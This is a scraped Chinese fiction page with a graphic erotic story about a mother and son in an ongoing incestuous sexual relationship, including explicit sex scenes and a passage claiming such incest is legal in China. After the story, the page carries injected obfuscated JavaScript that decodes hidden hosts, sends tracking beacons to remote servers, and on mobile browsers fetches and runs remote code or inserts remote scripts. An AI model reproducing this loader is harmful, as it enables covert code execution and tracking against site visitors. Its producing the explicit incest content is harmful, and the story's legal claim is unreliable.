妈妈对上我明亮的眼睛,轻轻说:「怎么样?昨夜开心吗?和妈妈做爱舒服吗?」我说:「开心,和妈妈长这么大我觉得这是最舒服的事情了。」「要上班了,放开妈妈好吗?」「嗯。」
妈妈缓缓将我的阴茎从她的身体里退出,见到我的目光,脸上带了一丝羞涩。
背转身缓缓穿起衣服来。
我也找到自己的衣服穿好,快要下床时我心中隐隐有担忧:「妈妈,你会不会又像那几天,对我不冷不热的?」妈妈微笑说:「妈妈不会了好吗?小壑。妈妈心结已经打开了,不会再对你那样了,再说妈妈的心已经被你俘获,成了你的奴隶了好吗,再也禁不起任何拒绝你的想法。小壑,你还用担心吗?」我大喜过望,搂住妈妈:「真的!妈妈,我是怎么做到的?」妈妈幽怨说:「这几次妈妈在你怀里好多次都被你草晕过去,妈妈也被你草得高潮迭起了好多次,流了好多水,妈妈声音哑了,挣扎不动了,欲仙欲死,好几次都死去活来,妈妈被征服了,臣服在妈妈身上的这个人身体下,妈妈想,如果就这样一辈子死在你怀里也是很美好的事情。」我忍不住意动,又抱住了妈妈,呢喃说:「妈妈……」妈妈也目光迷蒙,情不自禁凑了过来,就在我们俩嘴唇快要凑到一起时,妈妈突然推开了我:「不行,时间不早了,再不走就要迟到了。」我有些悻悻然,到嘴的美味没了只好起身走出妈妈的房间。
妈妈果然没让我失望,等我下班回来看到妈妈正在厨房煮东西,从背后抱住妈妈的腰亲昵在她耳边说:「煮什么?」妈妈没有像以前那样轻轻推开我,而是对我露出一个微笑,说:「在煮你喜欢的红烧豆腐,开心吗?很快就可以吃了。」我顽皮说:「我想吃你,吃妈妈的豆腐。」说完亲吻妈妈的耳珠。妈妈身子都酥了,笑着抗拒我:「好了,别闹了,等会菜糊了。」我恋恋不舍放过了妈妈。
吃饭的时候我也闲不下来,不时逗逗妈妈,开开妈妈的玩笑,不时说说一些段子。浅短的妈妈附和着我笑了笑,沉重的妈妈一笑置之,也不答话。玩笑开的太重,妈妈会撇开话题。
我似乎没有察觉到妈妈的心意,吃完饭后妈妈主动找我谈话,表情一贯的认真和严肃。
「小壑,以后别跟妈妈随意开玩笑了好吗?妈妈是长辈,虽然妈妈爱你,但是这样的玩笑也不能开。」我像犯了错的小孩一样委屈应了一声:「哦。」妈妈又说:「就像妈妈以前教你的,什么时候谈什么事。事情有很多种,不能所有都混为一谈。」「我知道了妈妈。」
妈妈看我楚楚可怜的模样,有些心软的说:「别不开心好吗?妈妈都是为你好。」把我拉到身边坐下,把我的手指着自己胸口,脸上娇羞说:「妈妈的心意你都知道了,你还怕什么呢?妈妈不会抛弃你,不会背叛你,妈妈还有很长很长一段时间陪你,你急什么呢。」我说:「我知道了妈妈,我们的关系还像以前一样,只不过我们的事是我们之间的小秘密,不能轻易拿出来谈。妈妈,我会做到的。」妈妈展颜一笑:「我知道小壑是最聪明的。陪妈妈看电视。」我和妈妈的关系回到了最初,和谐融洽,不需要去想对方一句话里有没有别的意思,也不用去想对方一个举动有什么特别的用意,没什么事要刻意隐瞒对方,也没有什么事需要跟对方解释半天。
妈妈说:「小壑,妈妈今天去上班了,你知道公司的人怎么说?」「她们怎么说?是不是说很久没看到妈妈,说您变得特别漂亮了,比以前更加美丽动人了?」妈妈眉飞色舞:「何止啊,他们说妈妈这么久没见像换了一个人似的,比以前神采万分多了,还纷纷问妈妈是不是又找到男朋友了,收获爱情,还问妈妈那个人长得怎么样。」我看了一眼妈妈,妈妈最近确实漂亮多了,皮肤比以前更白,而且也更有光泽,尤其是她的表情,以前总是刻意、古板,现在笑容里似乎都隐藏着春意,一颦一笑都那么妩媚。
我赶紧追问妈妈:「那你怎么回答的?」
妈妈嫣然一笑:「当然是大大方方的承认喽,当然妈妈不傻,怎么会提你的名字呢。」我心中顿时像打翻了五味瓶一样,什么感觉都有,没想到这么快就曝光了,妈妈身上性爱过的痕迹明显,别人不可能不察觉,追问是不是有男朋友也很正常,只是万万想不到是和她的亲生儿子我,做了那些正常男女之间做的事,我和妈妈现在你侬我侬,生死不渝,说到底在旁人耳里不过是多么大逆不道的事情,社会不会接受我们,道德和伦理上我们也站不住脚,我们甚至不能公开我们的关系,哪怕泄露了一丝半点,都会引起轩然大波,到时候周围的人会唾弃我们,厌恶我们,原本熟悉的地方再也无法生存。
我不会放弃妈妈,就算背德也好,乱伦也好,奸情也好,我始终都不会离开妈妈半步。似乎心有所感,妈妈也沉默了一会,再抬头望我时正好是我做了决定的时候,两束坚定的目光汇聚在一起,都不约而同握紧了对方的手,给予对方信心和坚持。
我说:「妈妈,您的男朋友帅吗?」
「嗯,他很帅。」
「他温柔吗?」
「很温柔。」
「他专一吗?」
「专一。」
「他浪漫吗?」
「浪漫。」
「他花心吗?」
「你问这么多我答不了了。」妈妈终于忍耐不住,挥手抗拒说:「不如问点别的吧,比如收入,房子车子什么的。」我说:「再问最后一个问题:你们会相爱到老吗?」妈妈坚定说:「会。」我扑了上去吻住了妈妈的唇。
客厅里一时响起我和妈妈的吸气声和唇舌吮咂的声音。
睡觉的时候我和妈妈不约而同来到妈妈卧室,妈妈换了一件柔软的真丝睡裙,然后笑着对我说:「小壑,陪妈妈睡觉,今晚我们什么也不做。」我应了一声,在妈妈身后躺下,把妈妈柔软的身体抱在怀里,手掌忍不住摸索着妈妈的睡裙,想把手伸到妈妈胸口去。妈妈制止了我:「不是和妈妈说好了吗,今晚不做。」我说:「妈妈我不做,但是你该给我点甜头吧,不然好难受。」妈妈放开了手,同意我的手伸进睡袍里,抓住她的乳房轻轻抚摸。
这一夜就和妈妈相依而眠。
※※※※※※※※※
我回到了我的房间,打开了电脑,在搜素页面输入了「乱伦」一词,然后开始接触这个我从来没有碰到过,连想都没有想过的领域。
乱伦是指中华文化传统「天地君亲师」的亲属伦理或师徒伦理因为衍生的性关系而发生社会身分的紊乱。乱伦可能发生在同性或异性的亲属之间,也可能发生在不同辈分的亲属之间。夫妻或未婚夫妻以外,非同辈份的既成亲属间若发生性关系就属于乱伦,不管有没有血亲关系(公媳、儿子、庶母都算,叔嫂则因辈分同算通奸),而与师长的性行为在古代也是不能被接受的乱伦行为。
近亲乱伦是指在近亲之间所发生的性行为。社会上对近亲乱伦普遍持反对态度,人们根深蒂固的道德观念也绝对不允许这样的事情发生,他们普遍都会拒绝、防止、纠正自己和自己身边包括所有人的这种近亲性交行为。在如今的社会观念里,谈性色变,谈亲子乱伦更是十恶不赦,罪恶滔天,那是主流社会间绝对完全禁忌的话题。
搜素的结果最有趣的是曾在上古时期,有一偏僻之地,那里的人们并无任何伦理道德观点,也没有什么礼仪谦虚尊敬之道,人们的关系没有亲戚、兄弟、夫妻、男女。尝尝男女混居,子不子,父不父,母不母,父女、母子同浴,亲子间尝尝发生关系。
而且曾经在春秋战国时期,那时的人们并无近亲性交是乱伦的观念,父可以淫女,子可以奸母,只要手法正当,不是为一己私欲,没有伤害他人,并不会得到社会道德的谴责。
在最后我看到了一条,我们国家,中华人民共和国并没有明文规定亲子之间不可以近亲性交,刑法里也没有对近亲性交做出任何审判和量刑,也就是说,无论母子、父女间做了什么,只要是自愿的,都是合法的。
※※※※※※※※※
又到了我休息的日子,我做了一大碗蒸腊肉和一碗金针菇汤,还有几样精致小菜等着妈妈回家吃。妈妈一下班回到家还没进厨房就喜孜孜说:「小壑做了好吃的给妈妈,老远都闻到了,妈妈等不及要吃了。」我服侍妈妈洗了手,然后恭恭敬敬给妈妈盛上一碗饭,说:「妈妈,您上班辛苦了,您吃饭吧。」妈妈微笑摸了摸我的脸:「小壑是最好的了,对妈妈又乖又懂事,妈妈是最幸福的了。」「妈妈您过奖了,您也是世界上最好的妈妈。」就餐就在我给妈妈夹一筷子菜,妈妈给我夹一筷子菜里面慢慢度过,吃完饭后我包揽了所有剩下的家务,妈妈夸奖我几句然后离开了。我把厨房和餐桌收拾得一干二净,然后走进客厅。妈妈正跷着腿看电视,电视里演的是最近很火的连续剧「婆媳的大战」,妈妈应该是入戏了,看的挺投入的。
我轻轻坐在妈妈身前,把她放在矮凳上的脚放在我的腿上,手指轻轻替她按摩脚底。妈妈习以为常,也没有理我,心思还沉浸在电视剧里。直到我按了半个多小时,妈妈才回过神来,发出一声舒爽的叹息:「好舒服!真是太美好的日子了。」说完轻轻面朝下躺下,说:「小壑,还有地方没按呢,再帮妈妈一起按了吧。」我的手轻轻在妈妈腰上按摩着,直到她腰部的不适渐渐消散,身体完全放松了,肌肉触上去温软如棉。我把妈妈的裙子撩了上去,露出光滑的大腿,双手缓缓替她按摩起来,妈妈上班需要穿高跟鞋,腿脚酸痛是必然的。
抬起头突然看到妈妈正扭头看着我,带着玩味的笑容,笑容意味深长:「小壑,你以前也老是帮妈妈这样按,你那时候是不是就对妈妈存了心思呢?」我连忙说:「我哪里会。我那时候就知道对妈妈好,妈妈在我眼里就是妈妈,别的什么也不是。」妈妈步步逼近我:「你对妈妈就没有一丁点幻想,离妈妈这么近,还经常能看到妈妈的身子。」我举起手说:「如果我以前对妈妈有有一丝邪念,就让妈妈以后再也不理我。
我发誓,我发誓。」
妈妈微笑:「真的?」
我保证:「真的。再说妈妈我是您一手教育大的,您还不知道我么,我除了,除了在青春期那会手淫过几次,就再也没有别的邪念了。」妈妈饶有兴致的看着我,嘴角含笑说:「看在你这么真诚的份上,好吧,妈妈相信你了。不过以后你可不能撩妈妈的裙子了,撩了裙子也不能随意看妈妈的身体,还有你的邪念,可不要跑出来了,知道了吗?」「知道了,知道了。」我连连保证。
说完这些妈妈脸上浮起一抹坏笑:「小壑还手淫过吗?再做一次让妈妈看看,看看是不是正常。」我大吃一惊,终于抵挡不住妈妈连番的攻势,大叫一声狼狈逃回了自己的房间,只剩下妈妈在客厅里爽朗的笑声。
第二天回到家时,家里收拾得焕然一新,妈妈今天的装束很清凉,下身穿着超短裤,露出修长白皙的美腿,上身穿了件白色紧身背心,依胸前凸起的轮廓来看,妈妈没穿内衣。
看到我回来妈妈把最后的一点地也脱了,招呼我说:「小壑回来了,洗手吧,一起吃饭了。」坐在餐桌前闻着饭菜的香味,我只是埋头吃饭,一点儿也不敢抬头。倒是妈妈不停和我说话,还帮我夹菜。
好不容易吃完饭我逃也似的逃离餐桌,妈妈却还是不肯放过我,非要拉着我在沙发上聊天,我心不在焉,魂不守舍,眼神正眼儿也不敢瞟妈妈,依稀记得上次妈妈穿的这么暴露性感的时候,我还很小很小,那时候对女人还没有基本的审美,这中间妈妈的衣着一直都很传统很正式,现在我长大了,再面对妈妈这样的装束我觉得自己有些把持不住了,很难不被妈妈诱惑。
「小壑说话怎么吞吞吐吐的?」
「啊?有,有吗?我,我不知道。」
妈妈笑着看我:「小壑怎么不敢看妈妈?」
「妈妈今天太靓丽,我不敢看。」
「看了又怎样,又不会少什么。」
我闭上双眼:「看了会生邪念的,我答应妈妈不对妈妈生邪念的。不能看。」妈妈娇嗔:「妈妈说让你看你就看,对妈妈的邪念妈妈准许你有了。」我睁开眼看妈妈,妈妈尽在咫尺,鼓囊的胸部快碰到我胸口了,赤裸的大腿紧挨着我的腿。妈妈说:「小壑,妈妈漂亮吗?」我喉咙吞咽了一下:「漂亮。」妈妈拿起我的手放在胸口上:「摸摸什么感觉。」我有些紧张说:「很软,很有弹力,温热温热。」「现在有什么感觉?」「小壑很冲动,很想要。」
「要妈妈是吗?」
我紧张点点头:「嗯,想要。不过妈妈现在还早,我们现在就要做了吗?」妈妈竖起眉头:「做什么?做爱?小壑是和妈妈做了爱,说说看,你是怎么做到的,和妈妈走上乱伦这条路的?」妈妈的话让我又有逃跑的冲动,面对如此爆炸的问题,我感觉自己快要被逼到悬崖边上了。
我绞尽脑汁想解释:「那是因为,因为妈妈太美丽,太诱人……」妈妈说:「那是因为妈妈诱惑的你对吗?」我连忙摇头:「不不不,是我,是小壑,小壑太色,整天脑子里想着邪恶的信息,这一切全是因为小壑。」妈妈叹息一声,轻轻靠在沙发上,说:「那你说到底是哪件事引起的呢?」我思索了一下开口:「应该是浴室那件事吧。因为我不小心看到……然后就……」妈妈说:「因为你不小心看到了妈妈的裸体,然后青春年少的你忍耐不住欲望,和妈妈发生了不该有的关系是吗?」我不敢争辩,连连点头应是。
妈妈说:「好了,既然事情说清楚了,妈妈就没什么问的了。不过妈妈现在要还原那天事情的所有经过,好找到更深层次的理由,妈妈现在要去洗澡了。」我瞠目结舌:「洗,洗澡!?」妈妈说完居然不理我,飘然离开客厅,然后听到浴室门一关,然后妈妈真的洗起澡来。
我呆若木鸡,回想起那天晚上的一切,还历历在目。当时那晚我也像现在这样坐在客厅里,妈妈正在浴室里洗澡……我不知道自己傻坐了多久,突然听到浴室里一阵「哐当哐当」的响声,伴随着妈妈一声惊呼,我一个激灵马上冲了过去,就如上次那样,我在浴室门口叫道:
「妈妈你没事吗?」
浴室里水声哗啦啦,一会才听妈妈说:「我没事,小壑你进来吧。」我茫然,上次妈妈可不是这么说的,心里暗说:妈妈您错了,上次不是这么演的。我又大叫一声:「妈妈,您是不是摔倒了,我要进来了?」妈妈说:「不是跟你说了吗,进来。」妈妈彻底脱戏了,我摇了摇头,无奈打开门走进浴室,进门不是我想像中的妈妈在地上玉体横陈,而是兜头一道水花喷了过来,打湿了我的脸和头发。我连忙遮挡,大叫说:「妈妈,那晚的情形不是这样的,你应该没有水,你躺在地上,然后我抱你出去。」水花终于停了,耳边传来妈妈的声音:「是吗。」等我好不容易擦干眼睛向妈妈看去,却大吃一惊,什么洗澡,什么裸体,妈妈还穿着刚才在客厅里那一身衣服,一件也没有脱,而且身上也没有半点水迹,手里拿着莲蓬头,刚才正对着我喷洒。
我惊疑不定:「妈妈你怎么了。」
妈妈早含笑从那边奔了过来,笑骂我:「小笨蛋!」扑在我身上,主动吻住了我。
我心里还有些反应不过来,妈妈顺手打开了莲蓬头开关,水淋在了我和妈妈身上,妈妈的衣服很快打湿,原本性感的身子变得柔软诱滑,我的欲望很快被点燃了,化被动为主动,摸索着妈妈的身子。
妈妈被我吻得喘不过气来,我猛地举起她的手,把她的背心脱了下来,然后沿着妈妈的耳垂一路往下,经过妈妈的脖颈来到她的锁骨,最后我蹲在妈妈身前,头埋在她胸脯里尽情享受。
我抬起妈妈的大腿,也不管她上面有水还是什么,舌头拼命舔,我把妈妈的短裤扒下,妈妈身上只剩一条小内内了,我拼命舔吸妈妈的身体,腿、腰、腹、背,我甚至把妈妈按在洗手盆,从后面舔吸她圆满的臀部。妈妈不停搓揉着我的身体,甚至手伸到我内裤里握住我的阴茎大力搓弄,和妈妈嬉戏了半个小时,我终于忍耐不住,身体因为情欲而轻微颤抖,抱着妈妈的身体说:「妈妈,我想做了。」妈妈一咬唇:「不行,我们别在浴室里做,去妈妈房间。」当下我们两个人都几乎赤裸着走出浴室,穿过客厅来到妈妈的卧室。我急不可耐要把妈妈按倒床上,提枪上马。妈妈却抗拒了我,媚笑说:「小壑别急,妈妈帮你口交好不好?」我欲火冲天,一时也不知道这事的好处,只是见妈妈执意如此,我只有答应了。
妈妈把我湿透的内裤脱下,然后握住了那只因为欲望而一柱擎天的硕大阳具,妈妈对我妩媚一笑,低头张开嘴,先是用舌头舔了我的龟头一下,然后用嘴唇吞了进去,大约吞到大半支再缓缓退出,然后又吞进去。如此反复。
我吸了一口气,一股连做爱都没有过的爽快感觉直充上脑门,仿佛一道电流从背脊一直到头顶,爽快得我连赞叹都发不出,妈妈加快了吞吐速度,一波波如触电般的快感袭上我的心头,我只盼望这一刻不要停,能永远继续下去。吞吐了几十下,妈妈也累了,吐出我的龟头,不再含着,舌头在我龟头边缘和系带上来回舔着。
我意犹未尽,对妈妈说:「妈妈,你再对我刚才那样好不好?好舒服。」妈妈说:「妈妈累了,下次吧。」我把妈妈最后一件内裤脱下,妈妈轻轻躺到床上,我趴在妈妈身上轻柔抚摸她的身体,我含住妈妈的一只乳珠,另一只手伸到了妈妈双腿中间,妈妈那里毛发丛生,柔嫩的两瓣中间正有水流涔涔流出,我用手指轻轻插入了妈妈的穴里,代替我的小兄弟先去探探路。
妈妈婉转呻吟,身躯蛇一样扭动,看妈妈和我都动情得差不多了,我缓缓扶着阴茎龟头抵在妈妈洞口,说:「妈妈你准备好了吗?我要进来了。」妈妈呻吟说:「嗯,进来吧。」我腰部发力阴茎一寸一寸进入了妈妈的穴里,妈妈从蹙着眉头再到眉头舒展开来,放松享受。
不知过去了多久,窗外风轻轻吹动了窗帘,夜幕渐渐降临,床上我和妈妈的性爱正做到最火热的阶段。感受到我的阴茎在妈妈的身体里激烈地肏动,妈妈几番死去活来,妈妈如痴如醉勾着我的脖子,拼命吻我:「妈妈好快活!妈妈要升天了你知道吗?小壑,你是妈妈最亲亲宝贝的儿子,妈妈爱你。」我疾风骤雨一样肏着妈妈,一边说:「妈妈,儿子最爱您了,和妈妈肏屄最舒服了,儿子一定会让您登上天堂。」妈妈主动迎合我的撞击:「妈妈已经在天堂了,和儿子在一起的每一天都是天堂。」在妈妈的夹吸下,我突然浑身紧张起来,喘息说:「妈妈,我忍不住了,要射了,我要射了,儿子要射了,妈妈。」妈妈主动迎合我,还把腿缠绕在我腰上,嘴里说:「射吧,宝贝,全射在里面,妈妈是危险期,会怀孕的。」我终于忍耐不住,大吼一声,精液像潮水一样从睾丸上升到输精管里,然后经过尿道一股脑全射在了妈妈子宫里。一边射还一边肏弄不休。妈妈有如狂风暴雨里的小舟,很快被我狂风暴雨般的高潮淹没了,在我一边射精里也一起高潮了。
过了好久好久,高潮的风暴才慢慢过去,我和妈妈对视一眼,相视而笑,了然于心。
激情过后妈妈慵懒靠在我身旁,说:「小壑,你还记得那个晚上吗?就是在你在浴室看到妈妈的裸体的时候过了几天,那天晚上妈妈要你陪我睡,然后我们就在都不知情的情况下发生了第一次。」
????本楼字节数:40194
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();